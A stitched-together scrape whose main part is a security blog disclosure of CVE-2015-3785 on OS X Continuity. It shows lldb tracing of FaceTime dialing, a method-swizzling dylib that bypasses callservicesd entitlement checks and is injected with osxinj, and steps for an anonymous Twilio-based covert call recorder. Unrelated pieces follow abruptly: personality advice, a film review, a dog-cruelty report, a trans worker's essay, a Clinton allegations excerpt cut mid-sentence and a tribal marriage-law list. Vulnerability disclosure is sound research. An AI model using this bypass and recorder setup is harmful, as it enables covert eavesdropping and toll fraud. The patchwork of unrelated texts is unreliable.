$ grep -i dial * TUCall.h: unsigned int dialAssisted:1; TUCall.h: unsigned int dialedFromEmergencyUI:1; TUCall.h:- (void)setWasDialedFromEmergencyUI:(BOOL)arg1; TUCall.h:- (BOOL)wasDialedFromEmergencyUI; TUCall.h:- (void)setWasDialAssisted:(BOOL)arg1; TUCall.h:- (BOOL)wasDialAssisted; TUCallCenter.h:- (id)dialVoicemailWithSourceIdentifier:(id)arg1; TUCallCenter.h:- (id)dialVoicemail; TUCallCenter.h:- (id)dialEmergency:(id)arg1 sourceIdentifier:(id)arg2; TUCallCenter.h:- (id)dialEmergency:(id)arg1; TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4 isRelayCall:(BOOL)arg5; TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4; TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3; TUCallCenter.h:- (id)dial:(id)arg1 service:(int)arg2; TUCallCenter.h:- (id)_dialFaceTimeCall:(id)arg1 isVideo:(BOOL)arg2 callID:(id)arg3 sourceIdentifier:(id)arg4; TUCallServicesInterface.h:- (void)dialCall:(id)arg1; TUCallServicesInterface.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4; TUCallServicesProxyCallActions-Protocol.h:- (void)dialCall:(TUProxyCall *)arg1;
$ lldb -p 7073 (lldb) process attach --pid 7073 Process 7073 stopped [...] Executable module set to "/Applications/FaceTime.app/Contents/MacOS/FaceTime". Architecture set to: x86_64h-apple-macosx. (lldb) breakpoint set -r dial Breakpoint 1: 149 locations. (lldb) c Process 7073 resuming
Process 7073 stopped * thread #1: tid = 0x207038, 0x00007fff8f9d36f4 TelephonyUtilities`-[TUCallCenter dial:callID:service:], queue = 'com.apple.main-thread', stop reason = breakpoint 1.11 frame #0: 0x00007fff8f9d36f4 TelephonyUtilities`-[TUCallCenter dial:callID:service:] TelephonyUtilities`-[TUCallCenter dial:callID:service:]: -> 0x7fff8f9d36f4 : pushq %rbp 0x7fff8f9d36f5 : movq %rsp, %rbp 0x7fff8f9d36f8 : movq -0x1a6ad977(%rip), %rsi ; "dial:callID:service:sourceIdentifier:" 0x7fff8f9d36ff : xorl %r9d, %r9d (lldb) po $rdx 1 (212) 867-5309 (lldb) po $rcx <object returned empty description> (lldb) p $r8 (unsigned long) $14 = 1
-[TUCallCenter dial:@"1 (212) 867-5309" callID:@"" service:1 sourceIdentifier:nil] -[TUCallCenter dial:@"1 (212) 867-5309" callID:@"" service:1 sourceIdentifier:nil isRelayCall:] -[TUCallServicesInterface dial:@"1 (212) 867-5309" callID: @"" service:1 sourceIdentifier:nil] -[TUCallServicesInterface dialCall:(TUProxyCall *)]
0x7fff8f9cb96c : movq -0x1a6a618b(%rip), %rsi ; "daemonDelegate" 0x7fff8f9cb973 : movq %r12, %rdi ; r12 == self 0x7fff8f9cb976 : callq *%rbx 0x7fff8f9cb978 : movq -0x1a6a60df(%rip), %rsi ; "dialCall:" 0x7fff8f9cb97f : movq %rax, %rdi 0x7fff8f9cb982 : movq %r14, %rdx ; r14 == (TUProxyCall *) 0x7fff8f9cb985 : movq %rbx, %rax 0x7fff8f9cb988 : addq $0x10, %rsp 0x7fff8f9cb98c : popq %rbx 0x7fff8f9cb98d : popq %r12 0x7fff8f9cb98f : popq %r14 0x7fff8f9cb991 : popq %r15 0x7fff8f9cb993 : popq %rbp 0x7fff8f9cb994 : jmpq *%rax ; objc_msgSend
(lldb) b 0x7fff8f9cb994 Breakpoint 5: where = TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233, address = 0x00007fff8f9cb994 (lldb) c Process 7073 resuming Process 7073 stopped * thread #1: tid = 0x207038, 0x00007fff8f9cb994 TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1 frame #0: 0x00007fff8f9cb994 TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233 TelephonyUtilities`-[TUCallServicesInterface dialCall:]: -> 0x7fff8f9cb994 : jmpq *%rax TelephonyUtilities`-[TUCallServicesInterface answerCall:]: 0x7fff8f9cb996 : pushq %rbp 0x7fff8f9cb997 : movq %rsp, %rbp 0x7fff8f9cb99a : pushq %r15 (lldb) po $rdi (lldb) po $rdx <TUProxyCall 0x60800018ddd0 service=1 destinationID=1 (212) 867-5309 5 status=3 disconnectedReason=0 startTime=0.000000 uniqueProxyIdentifier=00DEFF3D-8CF8-48F4-8DA9-DC97983D25F1 callUUID=00DEFF3D-8CF8-48F4-8DA9-DC97983D25F1 isEndpointOnCurrentDevice=1 sourceIdentifier=(null)>
$ ls /System/Library/PrivateFrameworks/TelephonyUtilities.framework/ Resources Versions TelephonyUtilities callservicesd $ ps aux | grep callservicesd dan 3351 0.0 0.2 2588388 41372?? S Wed11PM 0:29.25 /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
imagent[250]: [Warning] Not entitled, *Not* granting listener port: 4FEB3BC3-6209-4838-86E6-8FCF4DB6206D pid: 71017 process: testclient
callservicesd[3328]: XPC connection <NSXPCConnection: 0x7ff14ac7e4d0> connection from pid 3340 lacks entitlement com.apple.telephonyutilities.callservicesd, not accepting connection
#import <objc/runtime.h> #import <Foundation/Foundation.h> @implementation NSXPCConnection(Overrides) +(void)load { static dispatch_once_t token; dispatch_once(&token, ^{ Class class = [self class]; Method orig = class_getInstanceMethod(class, @selector(valueForEntitlement:)); Method swiz = class_getInstanceMethod(class, @selector(my_valueForEntitlement:)); method_exchangeImplementations(orig,swiz); NSLog(@“entitlement checks bypassed"); }); } -(id)my_valueForEntitlement:(id)arg1 { return @1; } @end
$ clang -o callservicesd_hook.dylib -dynamiclib callservicesd_hook.m -framework Foundation $ sudo osxinj callservicesd callservicesd_hook.dylib
<?xml version="1.0" encoding="UTF-8"?><Response><Record timeout="0" maxLength="3600" transcribe="true" playBeep="false"/></Response>
Affected Software: Mac OS X 10.10 - 10.10.5, iOS 8+ (Continuity feature)Gotham Digital Science has discovered a vulnerability affecting the phone dialing and SMS integration of the Continuity feature set introduced in OS X 10.10 and iOS 8. Prior to the release of OS X 10.11, it was possible for malware or other malicious code executing on an OS X system to initiate phone calls and send SMS messages via a user’s iPhone without the user’s knowledge and without requiring root access, even if the user’s iPhone was locked.CVE-2015-3785 was discovered during independent research conducted by GDS into Continuity.CVE-2015-5897 was discovered during testing of Apple's fix for CVE-2015-3785.Example code is available on our Github repo:Apple security advisory:5/25/15 - CVE-2015-3785 disclosed to Apple5/26/15 - Apple acknowledges report7/15/15 - Apple confirms issue, fix slated for OS X 10.10.57/20/15 - Apple indicates that fix is present in 10.10.5 beta8/07/15 - CVE-2015-5897 disclosed to Apple allowing bypass of fix for CVE-2015-37858/11/15 - Apple confirms new vulnerability, requests delay of public disclosure8/13/15 - OS X 10.10.5 releases with undisclosed fix for CVE-2015-37859/30/15 - OS X 10.11 releases with fix for CVE-2015-5897, GDS/Apple public disclosureThis post primarily deals with CVE-2015-3785. A follow up post will examine the details of CVE-2015-5897.When an OS X system and an iPhone have been properly configured, Continuity allows phone calls and SMS messages to be placed and received on OS X and routed through the iPhone using the mobile carrier’s network. This process is managed in part by the ‘callservicesd’ and 'imagent' daemons running on OS X, which expose XPC endpoints used by the FaceTime and Messages applications to place and answer calls/SMSes, obtain call status, and provide related functionality.The user is not required to authenticate prior to using these functions, making it possible for malicious code executing on an OS X system to place calls or send SMS messages without the user’s knowledge by communicating directly with the daemons, bypassing the FaceTime or Messages UI. This also bypasses the ‘iPhone Cellular Calls’ FaceTime Preference on OS X, allowing calls to be placed even if this option is disabled. In-call audio is routed between OS X and the iPhone by default, but may optionally be disabled, or kept entirely on the iPhone and not routed to the affected OS X system.Affected users should upgrade to OS X 10.11, which fixes both vulnerabilities. Apple has indicated that they will not be fixing this issue in OS X 10.10. Users running 10.10 should disable the “FaceTime->iPhone Cellular Calls” setting on their iPhone to protect against these issues. Note that disabling the equivalent setting on OS X is not effective.This vulnerability is the most recent incarnation of an issue that first surfaced approximately 20 years ago on Windows desktops. Malware existed in the ’90s, but it was (for the most part) more benign than the malware of today. Your hard drive might have been wiped, but your bank accounts wouldn’t be emptied and your centrifuges would continue to operate within their recommended tolerances. Simpler times!During this ancient era, land line dialup modems were the only way for most home users to access the Internet. Under normal circumstances, your modem would dial your ISP’s local phone number, establish a connection, authenticate, and set up a PPP (or similar) connection giving you an IP address and access to the Internet. On Windows systems, this was all handled by the Remote Access Service (RAS) APIs. These APIs are still used on Windows today, primarily for establishing VPN connections.As Internet use became more widespread, “dialers” emerged as one of the first classes of malware that caused direct and often significant financial harm to users. Malware authors began using the RAS APIs to reconnect a user’s modem to expensive international or premium rate Internet access numbers, often times done without the user’s knowledge by disabling the modem speaker.Some examples of this style of malware:This type of malware mostly died out along with dialup, but has occasionally popped up again whenever a new platform/OS gives code the ability to control a phone. The 2010 presentation Dialers are Back! by Mikko Hypponen of F-Secure gives a good overview of “modern” smartphone dialer malware. Over the years this issue has affected Symbian, J2ME, and most recently Android.With the release of OS X 10.10, Apple has joined the list.The walkthrough below covers the following major topics:In part two of this post, we’ll cover the following:Once Continuity is configured, the FaceTime app on your Mac is used to place & receive calls through your phone. It works without any prompts for authentication, and the phone remains locked during the call. If the phone was already unlocked, or unlocked during the call, you’ll see a green ‘Touch to return to call’ banner at the top of the UI.Our goal is to mimic FaceTime and make a call using the iPhone, but without displaying any UI. We’ll start by taking a look at the FaceTime binary to see if we can figure out how it’s communicating with the iPhone. First, we’ll look at the frameworks it uses and see if we can find anything phone or dialing related.These 3 look promising. We’ll take a closer look at TelephonyUtilities by dumping its classes and looking for interesting class or method names like ‘dial’ or ‘call’.Looks like we could be in the right area, there are several classes that appear to be phone call related. Let’s check for any methods that might dial a call:The dial: and dialCall: methods in these classes and protocol are worth investigating. We’ll do this in lldb, which will quickly be able to tell us if we’re on the right track. By using lldb’s regex breakpoints, we can break on every function that matches the regex ‘dial’. This will probably be overkill, but we can always narrow it down if needed.That’s likely more than we actually want, but let’s see what happens. Place a call in FaceTime (be sure to select ‘Call using iPhone’), and see if any of the breakpoints are hit.Success! lldb stops on one of our breakpoints, so there’s a good chance we’re looking in the right place:The arguments passed to this method are a string containing the destination number in $rdx, an empty string in $rcx (callID:), and the integer 1 in $r8 (service:).Continuing to follow execution, our breakpoints fire on the following sequence of functions. After the last dialCall, the number is dialed on the iPhone.Looking at the disassembly of that final dialCall: method, you’ll see that the last thing it does is call -[[TUCallServicesInterface daemonDelegate] dialCall:(TUProxyCall *)]:However this method didn’t trip a breakpoint when it was called, even though it matches the regex. Why not?The objective-c ‘self’ pointer is in $rdi, so daemonDelegate is an NSXPCDistantObject. That means the dialCall: method is actually located in another process and is being invoked over XPC. This is likely the last stage of the dialing process that happens in the FaceTime app, aside from XPC callbacks from this service for things like call status updates.To find the server side process exposing this XPC endpoint, we’ll look in the TelephonyUtilities framework directory:callservicesd is probably what we’re after, especially considering that we’ve been following execution in a class named TUCallServicesInterface.We should now have everything we need to create our own XPC client that communicates with callservicesd, invokes the dialCall: method, and receives status callbacks. The class dump of TUCallServicesInterface shows that the daemonDelegate object conforms to the TUCallServicesDaemonDelegate protocol, which conforms to the TUCallServicesProxyCallActions protocol, which specifies the dialCall:(TUProxyCall *) method we want to invoke.Putting this all together gives us xpcdial.m, which successfully dials a call on the iPhone by communicating with callservicesd over XPC, with no indication given to the user. The code also implements a class (CallObserver) conforming to the TUCallServicesDaemonObserver protocol so we can receive call status updates. There are a few interesting options to play with in the code that allow you to disable or reroute audio.The Messages application communicates with the imagent daemon over XPC in a similar manner to FaceTime and callservicesd. However when attempting to communicate with imagent directly to send SMS messages, the following error is returned:In this case, the Messages binary contains an entitlement that is verified by imagent prior to allowing an XPC connection. If we want to communicate with imagent using XPC, we’ll have to find a way to deal with this entitlement check. More on that later.In OS X 10.10.5, our XPC client fails to communicate with callservicesd. The following log message is produced when the connection is attempted:Apple applied a similar entitlement check to the one used by imagent and Messages, by adding the entitlement ‘com.apple.telephonyutilities.callservicesd’ to the FaceTime binary. The callservicesd daemon verifies that the PID making the XPC connection has this entitlement prior to allowing it. This is not easily bypassed, as only binaries signed by Apple can be granted this entitlement. Since both FaceTime and callservicesd are code signed, most code injection techniques available to non-root users are ineffective. The situation is very similar to Apple’s rootpipe fix, however in this case we’ve only got one binary (FaceTime) on the system with the entitlement and it doesn’t seem possible to load plugins into its memory space.However, if an attacker has obtained root access using another vulnerability, bypassing the entitlement check is easily demonstrated using a tool such as osxinj to override the responsible function within callservicesd:Once the dylib has been injected into callservicesd, the original exploit works as it did prior to 10.10.5. This type of injection by the root user is prevented on OS X 10.11 via the new System Integrity Protection feature.Now that we can dial arbitrary phone numbers, what can we do aside from running up our target’s phone bill?It turns out that setting something up like the “covert channel audio recorder” described earlier is remarkably simple, and can even be done anonymously. We provide an example implementation below to show that these types of attacks are not only realistic, they require almost no resources. This is mainly because unlike 1997, in 2015 we have The Cloud. Services like Twilio allow us to build scalable telephony services in a few lines of XML that traditionally required significant infrastructure. It’s easy to create and deploy a service that answers incoming calls, records the audio to an mp3 file, and transcribes the audio into a text file. In fact, the complete TwiML code for the service is only 132 characters long, meeting the important benchmark of fitting into a tweet:If you’re willing to forego the transcription, you can run the entire operation anonymously using Twilio’s free service tier with a little bit of effort. We’ll walk you through the steps:1) Sign up for Twilio using an existing mobile number. To remain anonymous, use a prepaid SIM card, Google Voice number, or a combination of similar services.2) We will be issued a ‘Twilio Number’ which is connected to our telephony application. This is the number our malware payload will dial.3) Next, we’ll need to point our Twilio number at a URL which serves the TwiML that controls our application. Normally we’d write some code to react to various user events, but in our case we can get away with a static XML file. Since we want to remain anonymous and not spend any money, we’ll host it on Google Drive. (Remove the “transcribe=true” if you’re using the free tier).4) Dial the Twilio number. We will be greeted by a recording thanking us for using our demo account, and asking us to press any key to continue. After doing so, our application starts and all audio is recorded and saved to an mp3 file on Twilio’s servers. This poses two problems - we don’t want that greeting to play on our target’s system, and our payload doesn’t send DTMF digits.5) The simplest way to handle these issues is to give Twilio a credit card number and upgrade your account. This removes the initial greeting and requirement to press a key, and also allows you to take advantage of Twilio’s transcription feature. If you’ve done this, skip the next two steps.6) Since we’d like to remain anonymous for this exercise, we can make some changes to our payload to work around the free account limitations. To deal with the greeting message, our code could temporarily disable the outbound audio stream coming from FaceTime so the user wouldn’t hear it. Since this is just an example, we’ll simply mute system audio for 10 seconds.7) Next we’ll use the XPC method playDTMFToneForCall: to simulate pressing a single digit. The tone is not echoed back to the sender, so the target system will not hear anything.8) That’s it! When the malware payload is triggered, the iPhone will dial our Twilio number, mute audio for approximately 10 seconds, simulate a DTMF key press, and audio recording will begin. This all happens over the user’s mobile network - no audio data travels over the Internet.In part 2 of this post, we’ll walk through exploitation of CVE-2015-5897 which allows the entitlement check to be bypassed without root access. This is accomplished using an interesting bug in the AddressBook framework that is exploitable by placing the callservicesd process inside a sandbox profile.1 Always keep inventing and creating. If you are ENTP, then you most likely are known by your friends to be filled with information and ideas. Channel this into useful purposes, and do not always start with blueprints and plans. ENTP people mostly come up with these as they go along, but as a warning, this trait can easily backfire.
2 Avoid socially isolating yourself. ENTP people often have witty senses of humour and are avid debaters. They will suffer if not around other people, because they thrive in large social environments.
3 Chose how much you wish to embrace the SI cognitive function. A cognitive function is a part of the hierarchy of the personality system, and the SI function keeps the ENTP person together. All ENTP people have a dislike for rules and for organized society, but being a complete nonconformist will not work. You must choose a sensible boundary between being absolutely submissive to authoritarians and being a rebel.
4 Never give up. True ENTPs regard "that can't be done" as a personal challenge to succeed. All ENTP people have an animus that drives them on even in the face of great problems.
5 You must always remember to work hard. ENTP people account for only 2-5% of the population; if you are one, you are likely to achieve great things. The problem, unfortunately, is that many ENTP people, despite being pragmatists, are easily distracted and not hard working. This is something that is difficult to get past, but the more that you force yourself to work without distractions nearby, the better chance you will have of success.
6 Do not become too judgmental. Because of the ENTP's skill in many types of analysis, they often see things in social relationships that are ignored by everyone else. You must keep in mind, however, that all motives, even if you have good intuition, are not what they seem.With a premise that might as well be an interwoven riff on Funny Games, Deliverance and I Spit on Your Grave, director Levan Bakhia’s Landmine Goes Click is probably the most disturbing thing I’ve watched since the notorious A Serbian Film. The story starts innocently enough, with a guy leaving his fiance and best friend standing on a live landmine in the middle of the European Georgian wilderness. That’s the innocent part—leaving your friend and future wife to get blown to smithereens over an infidelity.
What devolves next is not for the faint of heart. Actually, I’m not sure who it’s for, or if I should even be recommending it on this blog. Which is why I bring up Funny Games, a movie I loathed watching but one that does pose the important question of why our society gets off on cinematic sadism. Or as Jamie Dornan put it in one of The Fall’s more memorable lines (before the series took a horse tranquilizer in Season 3), “Why the fuck are you watching this? You sick shit. What the fuck is wrong with you?”
Indeed, that question begs answering in Landmine. One could argue that once this backwoods horror-show of rape, murder and torturous brutality comes to a close, there is a smidgen of moral resolution. But that might be a stretch.
All disclaimers aside, Landmine Goes Click is an expertly paced horror thriller that’s as evocative in its “revenge porn” as some of the most twisted major cinema to come out of the ’70s (I Spit on Your Grave, The Last House on the Left, The Hills Have Eyes). And it’s hard not to admire the all-out psychologically warped performances of Sterling Knight and Kote Tolordava as a Yank and Georgian in a cat-and-mouse game of mortal combat.
As in Funny Games, some of Bakhia’s scenes do linger to a point of near-unwatchable unease. So don’t say I didn’t warn you. But if you can handle A Serbian Film, you won’t have any problems getting through this. You didn’t come to this website to read about Twilight, right?
GRADE: B / B+
IMDb: 6.2
-Sam Adams
AdvertisementsA Framingham man forced two dogs to pull a cart full of cinder blocks and cement in extreme heat, whipping the dogs if they slowed down, a prosecutor said Thursday.
A Framingham man forced two dogs to pull a cart full of cinder blocks and cement in extreme heat, whipping the dogs if they slowed down, a prosecutor said Thursday.
One of Richard Capalucci Jr.'s dogs, a small Jack Russell terrier named Dolly, kept collapsing on Wednesday in exhaustion and he would whip the animal, prosecutor Rachel Irving said during Capalucci's Framingham District Court arraignment.
Police went to Concord Street around 6:15 p.m. for a report of a man whipping dogs with a rope. When they arrived, they found that Capalucci had tied Dolly and a German shepherd mix named Egypt to a shopping cart loaded with cinder blocks and a bag of cement, the prosecutor said.
"One dog was observed to collapse several times due to the extreme heat," said Irving. "This individual who is in the courtroom today (Capalucci) was then seen taking a rope and whipping the dog until it got up again."
According to the National Weather Service, it was 93 degrees around 6 p.m. in MetroWest.
Police took the two dogs from Capalucci. Irving said an animal control officer saw Capalucci the day before with the dogs pulling the shopping cart, but not whipping them, and they warned him not to do it again.
"The defendant said he was trying to teach them how to walk on the street," said Irving. "These animals had no water. They were panting heavily and they were in great distress."
Police charged Capalucci, 54, of 49 Lawrence St., with animal cruelty, although Irving said additional charges were possible.
Irving asked Judge Martine Carroll to hold Capalucci on $1,000 bail. She said she was planning on asking for higher bail, but Capalucci agreed to surrender all rights to Dolly and Egypt, so she asked for less.
Capalucci's lawyer, Sanford Furman, argued for $500 bail. He said his client lived within walking distance of the court, and was not a flight risk.
Carroll set Capalucci's bail at $500. As a condition of his release, Capalucci is banned from owning any domesticated animal other than the one homing pigeon he owns, Carroll said.
Capalucci is due back in court on Sept. 5.
Framingham Animal Control Officer Kathy MacKenzie said the two dogs, both females and approximately 1 to 2 years old, are much better than they were on Wednesday.
"They're happy to be in a cool environment," she said.
MacKenzie said the two dogs will go to the vet to be spayed and given all of their vaccinations. After that, they will be available for adoption at the Medfield Animal Shelter.
Anyone interested in adopting Egypt or Dolly should log onto www.medfieldshelter.com and begin the application process. MacKenzie said they should be at the shelter by the end of next week.
Norman Miller can be reached at 508-626-3823 or nmiller@wickedlocal.com. For up-to-date crime news, follow Norman Miller on Twitter @Norman_MillerMW.Working While Trans
My education in what it means to be a working trans woman began in April 1997, the moment I told my boss that I planned to transition from male to female and would soon begin coming to work as a woman. One minute I was a trusted, reliable employee on the management promotion shortlist, the next I was an unwanted problem who had to be fired for insubordination.
I contacted the New Jersey Division on Civil Rights but soon discovered that while being fired for being a member of a racial, ethnic, religious, or even sexual minority was against state law, there was no such law prohibiting discrimination based on gender identity or expression, and firing an employee just for being transgender was completely legal.
The coming out process had not been easy for me. I’d lost friends I’d cared about and now I’d lost my job. A failed suicide attempt a few months earlier had convinced me that I really didn’t want to die, I wanted to live as the woman I understood myself to be. Now I was faced with a new challenge: Without a job and little hope of finding another one, I had no idea how I was going to fund my transition.
Friends suggested I consider de-transitioning just long enough to put some money in the bank and use it to pay for hormones and eventually surgery. I toyed with the idea for a while, but in the end I just couldn’t bear the idea of going back to living as male, even for a little while. I was either going to live as the woman I am or I wasn’t going to live at all.
It took me six years of applications and interviews that went nowhere before I finally landed my first job as a woman. By then I’d legally changed my name to Rebecca and appeared passably female to casual inspection.
I worked as a cashier in a pet store, and while I wasn’t making much more than minimum wage, I couldn’t have been more proud to be able to go to work every day and interact with customers and coworkers as a woman. It was the kind of job I’d have seen as a stopgap if I were still working as male, but as a woman on her first job, I was loyal to a fault. I was thrilled just to be bringing home a paycheck with the name Rebecca on it, and committed myself to being the best employee in that store. Even that, however, wasn’t enough to keep me employed.
The store’s assistant manager was the only staff member to have a problem with me, but he never hesitated to make it known to me or my coworkers. He’d ask me questions like “Do you really think you should be using the ladies room?” and tell me that he didn’t feel I should be permitted to wear makeup or present as a woman at work because it was “deceptive” and “dishonest.” He’d wonder openly, in front of me and other store employees, whether me presenting as a woman at work, despite all my legal documentation, was a violation of the company’s personnel policies against dishonesty and misrepresentation. He made it his business to make sure I and everyone I worked with knew that he saw me as a fraud and someone who shouldn’t be allowed to work there.
Finally, after months of his near-constant verbal abuse, I made the mistake of asking him if he had anything to say to me that was actually relevant to my job, and if not, to please leave me alone. Though I had one of the best attendance and work performance records of the staff, I was fired for insubordination.
Over the next few years, I managed to find work in retail here and there, but never jobs with the kind of opportunity for advancement that were made available to cisgender employees. I watched coworkers who were still in diapers or not even born when I was managing my first retail store promoted into supervisory positions over me as I was passed over for promotion again and again. Over time, the overall attitude of retail managers toward a trans woman as an employee seems to have evolved from “We don’t want you working in our stores” to “Just shut up and be happy we let you work here, but don’t expect to be treated like everyone else.”
At one job I was assigned to answer phones while literally hidden behind a curtain, barred from working on the sales floor. After I went to management and asked to be put on the sales floor, where I felt I could do my best work, I was eventually told that my services would no longer be required.
At another job, when I hurt my back on the job and was prohibited from heavy lifting by my doctor, I was removed from my position as a shift supervisor at a store in a very progressive area and reassigned to a lower position in another store in a rather conservative town.
When transphobic customers complained that they felt threatened or unsafe in my presence, I would be “written up,” a disciplinary notice placed in my file as if I had actually done something other than simply be present and visibly trans to cause these customers to complain. Once the company’s managers felt they had enough write-ups in my file to protect themselves from a lawsuit, they fired me for what they claimed was misbehavior. When the company tried to use that excuse to contest my unemployment benefits, I demanded my right to a hearing and a presentation of the evidence against me under New Jersey state law. The company twice failed to appear to present their evidence, and I was awarded my full benefit entitlement.
My retail resume can still get me an interview in many cases, but never serious consideration for a job, especially now that an identity check on Google is standard procedure. As a result, I’ve begun looking for work in other fields, in radio and freelance journalism, careers where my trans status will hopefully prove less of a barrier to employment, and perhaps even an advantage.
According to a survey conducted by the National Center for Transgender Equality and the National Gay and Lesbian Task Force published in 2011, almost half of trans workers surveyed attributed firings, refusal to hire them, or being passed over for promotion directly to their trans status. Ninety percent reported harassment, mistreatment, or discrimination on the job, or took steps to avoid those problems like remaining closeted at work. Unlike cisgender gays and lesbians, trans workers, particularly trans women, often don’t have the option of remaining in the closet.
Until Congress finds the courage to do the right thing for LGBT workers and the families that depend on us, working trans women in particular will continue to be primary targets for bigotry and discrimination in the workplace."What do you all think?" she asked Spence. "This is what you've been waiting for, for a long time."
"You know, Roy, they'll say a lot of things about our marriage." "Yeah." "What should we do about that?"
Spence told Clinton to tell the truth, according to First In His Class: A Biography Of Bill Clinton (1995), by David Maraniss. Tell the truth? How on earth could they tell the truth about Bill Clinton's sexual predations and win the White House? Instead, she chose implausible denials. Even after the Monica Lewinsky scandal broke in the White House itself, she attributed it to a "vast right-wing conspiracy". Why is this relevant? Because it indicates the scale of the political baggage she would bring to a presidential campaign as the Democratic nominee. Because it is an insight into the scale of the devil's bargain she entered into in her quest for power. Because she has tolerated the intolerable while presenting herself as a feminist. And because she has been engaged in a cover-up for 20 years.
The following is a list of women who have appeared in credible biographies or news reports. All, with one exception, have made on-the-record comments: Eileen Wellstone: as a 19-year-old student she lodged a complaint of sexual assault against Bill Clinton, in 1969 while he was at Oxford. She reconfirmed the incident to reporters in 1999. Elizabeth Ward Gracen: a former Miss America, she admitted she had sex with Clinton in 1982, when he was governor of Arkansas.
Sally Miller Perdue: a former Miss Arkansas, she had an affair with Clinton in 1983. Mary Jo Jenkins: the new biography by the Watergate reporter Carl Bernstein, A Woman In Charge, says Bill Clinton had a long affair with |
marriage contracted outside the territory of the Tribes that would be valid by the laws of the jurisdiction in which the marriage was contracted is valid within the territory of the Tribes."[30]
Confederated Tribes of Siletz Indians [ edit ]
In March 2013, it was reported that the Confederated Tribes of Siletz Indians from Oregon had introduced a tribal ordinance to recognize same-sex marriage.[31] The ordinance was proposed when Oregon banned same-sex marriage. The measure was to be an "additional option" for tribal members who would retain the ability to marry through the tribe, the State of Oregon, or their state of residence.[32] On May 16, 2014, the Tribal Council passed a motion in favor of allowing same-sex couples to legally marry on its reservation, but submitted the measure to tribal consultation before implementation. On May 19, 2014, U.S. District Judge Michael McShane ruled that Oregon's ban against same-sex marriage was unconstitutional.[33] On May 15, 2015, the Tribal Council changed its laws to legalize same-sex marriages after 67% of members of the General Assembly voted in favor.[34]
Confederated Tribes of the Colville Reservation [ edit ]
The Confederated Tribes of the Colville Reservation in the state of Washington voted for same-sex marriage recognition on September 5, 2013. The vote passed the Tribal Council without objection.[35]
Confederated Tribes of the Grand Ronde Community of Oregon [ edit ]
In October 2015, the Grand Ronde Tribal Council in Oregon passed an ordinance allowing members to marry in the Tribal Court. The ordinance specifically includes a non-discrimination clause that would allow same-sex couples to marry.[36] The ordinance went into effect on November 18, 2015.[37]
Coquille Indian Tribe [ edit ]
In 2008, the Coquille Indian Tribe legalized same-sex marriage, with the law going into effect on May 20, 2009.[38] The law approving same-sex marriage was adopted 5 to 2 by the Coquille Tribal Council and extends all of the tribal benefits of marriage to same-sex couples. To marry under Coquille law, at least one of the spouses must be a member of the tribe.[39] In the 2000 Census, 576 people defined themselves as belonging to the Coquille Nation.
Although Oregon voters approved an amendment to the Oregon Constitution in 2004 to prohibit same-sex marriages, the Coquille are a federally recognized sovereign nation, and thus not bound by the Oregon Constitution.[40] On May 24, 2009, the first same-sex couple—Jeni and Kitzen Branting—married under the Coquille jurisdiction.[38]
Eastern Shoshone Tribe [ edit ]
The first same-sex marriage at the Shoshone and Arapaho Tribal Court (which the Eastern Shoshone Tribe shares with the Northern Arapaho Tribe) on the Wind River Indian Reservation in Wyoming was registered on November 14, 2014.[41]
Fond du Lac Band of Lake Superior Chippewa [ edit ]
The Tribal Council of the Fond du Lac Band of Lake Superior Chippewa (part of the Minnesota Chippewa Tribe) approved on July 16, 2014 Ordinance 04/10, which amended "Section 301 Marriage, Domestic Partnership & Divorce" to recognize as valid and binding any marriage between two persons which is formalized or solemnized in compliance with the laws of the place where it was formalized. Chapter 4 recognizes the relationship of two non-married, committed adult partners who have declared themselves as domestic partners provided that it is registered.[42] A member of the Tribal Council explicitly stated that this amendment legalized same-sex-marriage.[43]
Fort McDermitt Paiute and Shoshone Tribes [ edit ]
Chapter 5 of the Law and Order Code of the Fort McDermitt Paiute and Shoshone Tribes, enacted on September 13, 1988, provides in section 2 that all marriages from the day of enactment are to be governed by the laws of the states of Nevada or Oregon, depending on which state they occurred in.[44] On May 19, 2014, a federal judge overturned a ban on same-sex marriages in Oregon,[45] and beginning on October 9, 2014 same-sex marriages were allowed in Nevada.[46]
Fort McDowell Yavapai Nation [ edit ]
Chapter 10 of the Law and Order Code of the Fort McDowell Yavapai Community of Arizona states that all marriages since April 19, 1954, "shall be in accordance with state laws."[47] On October 17, 2014, U.S. District Court Judge John Sedwick ruled that Arizona's same-sex marriage ban was unconstitutional.[48]
Grand Portage Band of Chippewa [ edit ]
The Grand Portage Band of Chippewa (part of the Minnesota Chippewa Tribe) follows state law with regard to marriages as they "do not have jurisdiction over domestic relations" per the Grand Portage Judicial Code.[49] Same-sex marriage was legalized in Minnesota on August 1, 2013 after passage of legislation on May 13, 2013.[50]
Ho-Chunk Nation of Wisconsin [ edit ]
On June 5, 2017, the Legislature of the Ho-Chunk Nation of Wisconsin approved a bill to legalize same-sex marriage, in a 13–0 vote.[51]
Previously, Title 4 of the Ho-Chunk Nation Code (HCC), enacted on October 19, 2004, provided at Section 10.3 that marriage is a civil contract requiring consent to create a legal status of husband and wife. Section 10.9 required that a ceremony be solemnized by an officiant, witnessed by two affiants and that the two parties involved agree to becoming husband and wife.[52]
Iipay Nation of Santa Ysabel [ edit ]
On June 24, 2013, the Iipay Nation of Santa Ysabel announced their recognition of same-sex marriage, becoming the first tribe in California to do so.[53]
Keweenaw Bay Indian Community [ edit ]
On November 7, 2014, the Tribal Council of the Keweenaw Bay Indian Community voted to place a referendum on the ballot for a tribal vote on December 13, 2014 to allow same-sex marriage in their community, in response to the 6th Circuit Court of Appeals decision to uphold Michigan's ban on same-sex marriage.[54] The proposal was approved with 302 to 261 votes on December 13, 2014,[55] and finally included into the Tribal Code after the Tribal Council approved the changes on June 6, 2015.[56]
Lac du Flambeau Band of Lake Superior Chippewa [ edit ]
